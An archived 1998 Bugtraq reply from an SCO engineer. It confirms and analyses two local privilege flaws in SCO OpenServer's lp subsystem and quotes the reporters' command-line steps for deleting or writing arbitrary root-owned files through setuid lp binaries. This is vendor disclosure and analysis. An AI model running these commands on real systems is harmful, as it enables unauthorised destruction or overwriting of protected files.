Bugtraq mailing list archives

Re: Security problems on SCO's lp subsystem


From: belal () SCO COM (Bela Lubkin)
Date: Fri, 19 Jun 1998 12:42:46 -0700


Thanks to Marco Paganini & Michael L. Wilkerson Jr. for this report.

I've verified these two problems.  Note that both of them require
special enabling conditions, which I describe below.

SCO OpenServer includes two spooling subsystems: the System V spooler
and the Berkeley spooler.  Berkeley spooler support is split into client
and server support.  By default, only SysV client support is active.
Berkeley client support is activated by root running `mkdev rlp`; or
through `scoadmin printer manager` (I haven't tested, but I believe the
option is "Printer -> Add Remote -> UNIX...").

Activating Berkeley client support causes certain binaries to change;
for instance, /usr/bin/lp changes from:

  ---x--s--x   1 bin      lp         91044 Dec 16  1997 /usr/bin/lp

to:

  ---x--x--x   1 bin      lp          2472 Jun 19 11:09 /usr/bin/lp

Exact dates and sizes will vary by release, but the general pattern will
be the same.  The Berkeley client version is a simple wrapper program
which actually execs /usr/lpd/remote/lp:

  -rws--s--x   1 root     daemon     36116 Dec 16  1997 /usr/lpd/remote/lp

If a Berkeley client destination hasn't been specified, that in turn
execs the original SysV lp client, which has been saved aside in
/usr/lpd/local:

  ---x--s--x   1 bin      lp         91044 Jun 19 11:09 /usr/lpd/local/lp

Also, in general, /etc/printcap will exist if and only if Berkeley
client support has ever been activated.

Both of these exploits require Berkeley client support to be active,
although the details are different.

#1:

SCO 5.0.4 Enterprise
        (also) Plain Vanilla Intel

as root...
        echo "test" > /tmp/rootfile

and the perms thereof are...

        drwxrwxrwt   2 sys      sys          1024 Jun 18 20:26 tmp

        and

        -rw-rw-r--   1 root     sys             5 Jun 18 20:26 rootfile

okay. now as a normal, unprivileged user, I run...

lpr -d lp -R /tmp/rootfile

...and to my displeasure, but as expected, the root-owned tempfile is
removed.  (BTW, this normal user is NOT a member of the group, sys --of course).

This exploit only works if the destination is a Berkeley lpd client.  In
practice this means that (1) /etc/printcap must exist, (2) it must have
an entry for the destination ("-d lp"), and (3) the spool directory
mentioned in the printcap entry must exist.  These conditions normally
exist only if Berkeley client support has deliberately been activated by
root.

#2:

This is even better, but only works if your lp subsystem has a file named
/var/spool/lpd/lock. With this file in place, the lp command will enable
the "-L live" option. With this, you can write to *any* file in the system.
And even better, the file will be mode 600, owned by root...

Just do:
$ lp -L live=/any_file_in_the_system
blablabla
^D

And that's it. You can type anything you want/need.

One more time!

running "touch /var/spool/lpd/lock"
yields:
        -rw-rw-r--   1 root     sys             0 Jun 18 20:41 /var/spool/lpd/lock

...now as the same normal user I run (with rootfile being an as of yet
non-existing file)

        lp -L live=/tmp/rootfile

Okay, then I enter whatever text I choose...and a ^D and bingo!
now "ls -l /tmp/rootfile" yields:
        -rw-------   1 root     lp             21 Jun 18 20:45 rootfile

Of course, the same normal user which created the file can now not even read it.

Again, this depends on the Berkeley client support being enabled.

The actual "-L=live" support is in the SysV client.  However, it looks
for a file (/usr/spool/lpd/lock -- /var/spool is a symlink to
/usr/spool) which exists only when the Berkeley client is enabled.
Specifically, the directory /usr/spool/lpd is created by the Berkeley
client install; and /usr/spool/lpd/lock is created temporarily by
Berkeley client actions.  The permissions on /usr/spool don't allow
users to create subdirectories; and /usr/spool/lpd's permissions do not
allow users to create the lock file, except as a temporary byproduct of
client actions.

Even if you deliberately create /usr/spool/lpd/lock while the Berkeley
client isn't enabled:

  # mkdir /usr/spool/lpd
  # touch /usr/spool/lpd/lock

`lp -L live=filename` can only attack files writable by group "lp".  The
root attack works because of the changed flow of control when Berkeley
client support is enabled.  /usr/bin/lp execs /usr/lpd/remote/lp,
gaining setuid-root privileges.  That then execs /usr/lpd/local/lp,
which is the original SysV lp client.

I would summarize these bugs as:

  1. Berkeley `lp` client doesn't give up setuid/setgid privileges when
     removing a file according to "-R" flag.

  2. Berkeley `lp` client passes on setuid/setgid privileges to SysV
     `lp` client, when a Berkeley lpd destination hasn't been specified.

  3. SysV `lp` client doesn't give up setuid/setgid privileges before
     opening target file for "-L live=file" flag.

  4. "-L live=file" flag appears to be archaic, perhaps shouldn't exist
     at all?

Not a pretty picture.  I'll look into getting these fixed, and checking
for other related issues in these subsystems.

Bela<



Current thread: